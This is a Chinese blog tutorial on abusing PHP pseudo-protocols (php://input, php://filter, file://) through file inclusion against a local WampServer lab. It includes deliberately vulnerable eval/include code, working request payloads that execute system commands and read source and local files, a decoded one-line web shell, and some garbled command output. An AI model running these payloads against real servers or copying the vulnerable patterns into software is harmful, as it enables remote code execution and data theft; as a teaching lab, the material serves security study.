php漏洞

php反序列化

php伪协议

php://input可以读取以post方式提交的内容,通常和文件包含放在一起使用。

现在我们创建一个文件aa.php里面的代码如下。

@$bb="";

@$bb=file_get_contents($_GET["aa"]);

echo $bb;

?>

file_get_contents()这个函数表示将一个文件的内容读入一个字符串中

我们使用hackbar来构造请求为http://localhost/aa.php?aa=php://input并在post data里面传入任意字符串例如我们传入hello  world 然后运行,这时我们便可以看到我们的页面上显示出了hello world。这是因为使用php://input为协议可以读取post内的内容(文件上传除外).

上面这个例子好像没有什么危害,但是我们可以更改一下aa.php的内容如下

@eval(file_get_contents($_GET["aa"]));

?>

使用http://localhost/aa.php?aa=php://input进行请求,并且post里面的数据为system(dir);,这时我们便可以查看当前的目录了,返回的结果为

Çý¶¯Æ÷ E ÖеľíûÓбêÇ©¡£ ¾íµÄÐòÁкÅÊÇ 0CAC-06A4 E:\studyapp\WampServer\wamp\wamp64\www µÄĿ¼ 2019/03/31 20:13

. 2019/03/31 20:13

.. 2019/03/31 20:13

432 2019/04/09 20:00 55 aa.php 2016/08/16 18:02 18,009 add_vhost.php 2019/03/31 20:11 73 bb.php 2010/12/31 09:40 202,575 favicon.ico 2016/08/16 18:03 30,117 index.php 2019/03/24 16:07

sqli-labs-master 2016/05/17 15:58 528 testmysql.php 2015/09/21 17:30 742 test_sockets.php 2019/03/24 16:01

wamplangues 2019/03/24 16:01

wampthemes 2019/03/31 18:31

yr43ubf 2019/03/31 18:31

yreubf 7 ¸öÎļþ 252,099 ×Ö½Ú 8 ¸öĿ¼ 9,694,109,696 ¿ÉÓÃ×Ö½Ú

可以看出返回了当前的目录,我们可以更改system(参数);里面的参数,可以执行创建文件和删除文件等等命令。

php://filter的利用,这个协议通常用来读取文件的源代码,通过base64加密,显示出来,然后解密便可以读取文件的源代码,通常和文件包含结合使用,现在我们创建一个aa.php来验证一下我们的漏洞。

aa.php代码如下

@include($_GET["aa"]);

?>

我们使用http://localhost/aa.php?aa=php://filter/read=convert.base64-encode/resource=bb.php来进行请求,可以看到后面的参数是一个php://filter伪协议

返回的内容如下

PD9waHANCg0KLy8kX1BPU1RbImFhIl0oJF9HRVRbImNjIl0pOw0KQCRfUE9TVFsnbGFuZyddKCRfR0VUWydhJ10pOw0KDQo/Pg==

这是一段base64编码的一串字符串,我们使用base64进行解密为

//$_POST["aa"]($_GET["cc"]);

@$_POST['lang']($_GET['a']);

?>

因此通过这种方式便可以读取我们的源代码。

file:// [文件的绝对路径和文件名] 伪协议可以和文件包含结合,可以使用绝对路径来读取本地文件,获取目标主机的一些信息。

创建aa.php代码如下

@include($_GET["aa"]);

?>

使用http://localhost/aa.php?aa=file://E:/studyapp/WampServer/wamp/wamp64/www/aa.txt来请求主机,返回aa.txt里面的内容为:

you are successful

使用这个方式需要知道目标主机的路径。

最后再分享一个不死马:


你可能感兴趣的:(php漏洞)